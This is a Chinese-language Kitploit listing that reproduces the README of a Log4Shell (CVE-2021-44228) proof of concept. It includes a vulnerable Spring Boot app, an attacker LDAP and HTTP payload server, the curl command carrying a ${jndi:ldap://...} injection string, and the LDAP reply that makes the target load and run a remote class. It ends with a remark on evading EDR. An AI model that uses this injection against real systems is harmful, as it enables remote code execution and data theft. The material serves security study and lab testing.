Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
log4j2-exploit — log4j2 Log4Shell CVE-2021-44228 概念验证 | Kitploit
工具/GitHubGitHub/spasam/log4j2-exploit
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubspasam/log4j2-exploit

log4j2-exploit

log4j2 Log4Shell CVE-2021-44228 概念验证

查看仓库
214年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Log4Shell CVE-2021-44228 概念验证

环境要求

  • Java (JDK/JRE) 8 或更高版本
  • curl

exploitable

一个简单的 Spring Boot 应用程序,提供一个包含用户名和密码的登录页面。当通过 POST 提交到 / 时,它会记录用户名。应用程序并不需要记录用户提供的任何输入。启用使用了存在漏洞的 log4j2 版本的访问日志就足够了。

如何运行:

root@kitploit:~
cd exploitable
../mvnw -q spring-boot:run

默认情况下,它监听 8080 端口。如果在浏览器中访问 http://localhost:8080/,你应该会看到类似这样的内容:

在 pom.xml 中,你会注意到一个 JVM 属性:

-Dcom.sun.jndi.ldap.object.trustURLCodebase=true

这在旧版本的 JDK 中不是必需的。在 JDK 11.0.1、8u191、7u201 和 6u211 中,默认值已改为 false。即使没有这个属性,应用程序也容易受到初始 LDAP 请求的攻击,这些请求可以窃取敏感数据。

hacker

黑客应用程序,有两个用途:

  • 在 9090 端口启动一个 HTTP 服务器,用于提供漏洞利用负载
  • 在 1389 端口启动一个内存中的 LDAP 服务器

如何运行:

root@kitploit:~
cd hacker
../mvnw -q spring-boot:run

在 pom.xml 中,你可以更改发送给易受攻击应用程序的默认负载:

--class=SayHello 是默认值,这意味着它发送 SayHello.class 作为负载。

如何利用

向漏洞利用应用程序发送 curl 请求,在用户提供的输入之一(用户名)中引用黑客的 LDAP 服务器:

root@kitploit:~
curl -d "user=\${jndi:ldap://127.0.0.1:1389}" http://localhost:8080/

在易受攻击的应用程序控制台中,你应该会看到类似这样的内容:

底层原理

  • 攻击者在用户输入字段之一中发送了 ${jndi:ldap://127.0.0.1:1389}
  • 嵌入在易受攻击应用程序中的存在漏洞的 log4j2 向 127.0.0.1:1389 发起 LDAP 请求
  • 它收到以下响应:
    root@kitploit:~
    dn:
    objectClass: javaNamingReference
    javaClassName: SayHello
    javaCodeBase: http://127.0.0.1:9090/
    javaFactory: SayHello
    
  • 应用程序尝试从 http://127.0.0.1:9090/SayHello.class 检索漏洞利用负载类
  • 黑客服务器返回二进制 SayHello.class 字节
  • 应用程序执行漏洞利用类中的 getObjectInstance 方法

注意

在初始 LDAP 请求以及可能的漏洞利用 Java 类下载之后,漏洞利用不需要派生进程或与互联网建立任何额外的连接。通常,这类漏洞利用很容易被 EDR 产品等检测到。我怀疑新的漏洞利用负载将以 Java 原生实现,以逃避检测。

下载工具